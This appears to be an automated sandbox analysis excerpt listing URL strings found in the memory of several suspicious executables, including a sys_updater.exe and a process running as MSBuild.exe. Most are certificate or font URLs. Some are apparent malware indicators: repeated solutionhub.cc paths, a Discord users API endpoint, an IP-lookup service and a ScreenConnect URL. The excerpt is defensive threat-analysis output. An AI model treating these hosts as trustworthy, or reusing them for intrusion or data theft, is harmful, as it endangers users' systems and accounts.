Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.ca8
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2163427307.00000234D5BBC000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172784971.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5C04000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5B00000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2171457608.00000234D5AB9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2651808657.0000021E0314C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2655069424.0000021E03483000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2668665930.0000021E0343C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2673976502.0000021E031AC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2670749256.0000021E03483000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2746248549.00000159F356C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2772816830.00000159F38E4000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2750695258.00000159F35B3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2768752871.00000159F3574000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2754063369.00000159F345A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2945215932.0000020E49844000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2940578009.0000020E494EB000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2895586429.0000020E494D3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2892087005.0000020E4948C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2163427307.00000234D5BBC000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172784971.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5C04000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5B00000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2171457608.00000234D5AB9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2651808657.0000021E0314C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2655069424.0000021E03483000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2668665930.0000021E0343C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2673976502.0000021E031AC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2670749256.0000021E03483000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2746248549.00000159F356C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2772816830.00000159F38E4000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2750695258.00000159F35B3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2768752871.00000159F3574000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2754063369.00000159F345A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2945215932.0000020E49844000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2940578009.0000020E494EB000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2895586429.0000020E494D3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2892087005.0000020E4948C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: sys_updater.exe, 00000018.00000003.2650108761.0000021E02FCE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2650910116.0000021E02FD0000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2651562106.0000021E02FD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.2
Source: sys_updater.exe, 00000018.00000003.2650108761.0000021E02FCE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2650910116.0000021E02FD0000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2651562106.0000021E02FD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microso(
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2163427307.00000234D5BBC000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172784971.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5C04000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5B00000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2171457608.00000234D5AB9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2651808657.0000021E0314C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2655069424.0000021E03483000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2668665930.0000021E0343C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2673976502.0000021E031AC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2670749256.0000021E03483000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2746248549.00000159F356C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2772816830.00000159F38E4000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2750695258.00000159F35B3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2768752871.00000159F3574000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2754063369.00000159F345A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2945215932.0000020E49844000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2940578009.0000020E494EB000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2895586429.0000020E494D3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2892087005.0000020E4948C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172784971.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2656389564.0000021E0315F000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2673976502.0000021E031AC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2754063369.00000159F345A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertGlobalRootG2.crt
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172784971.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2656389564.0000021E0315F000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2673976502.0000021E031AC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2754063369.00000159F345A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertGlobalRootG2.crtC
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172784971.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2656389564.0000021E0315F000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2673976502.0000021E031AC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2754063369.00000159F345A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertGlobalRootG2.crtv
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172784971.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2656389564.0000021E0315F000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2673976502.0000021E031AC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2754063369.00000159F345A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172931387.00000234D5A31000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2654235111.0000021E03061000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2674289019.0000021E0314A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2894652194.0000020E47C3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: sys_updater.exe, 0000001F.00000003.2918254433.0000020E49495000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.m.
Source: explert.exe, 00000004.00000003.1712362816.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1712419900.0000000001407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cj
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.s
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5AAE000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5BB1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2670749256.0000021E03431000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2655069424.0000021E03431000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2772816830.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2750695258.00000159F3560000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2945215932.0000020E497F1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2895586429.0000020E49481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5AAE000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5BB1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2670749256.0000021E03431000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2655069424.0000021E03431000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2772816830.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2750695258.00000159F3560000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2945215932.0000020E497F1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2895586429.0000020E49481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5AAE000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5BB1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2670749256.0000021E03431000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2655069424.0000021E03431000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2772816830.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2750695258.00000159F3560000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2945215932.0000020E497F1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2895586429.0000020E49481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.0v
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: sys_updater.exe.26.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/$;
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/-;
Source: sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/2;
Source: explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/8
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/;
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/;;
Source: sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/A;
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/O;.
Source: sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/T;
Source: explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/U
Source: explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/Z
Source: explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solutionhub.cc/b
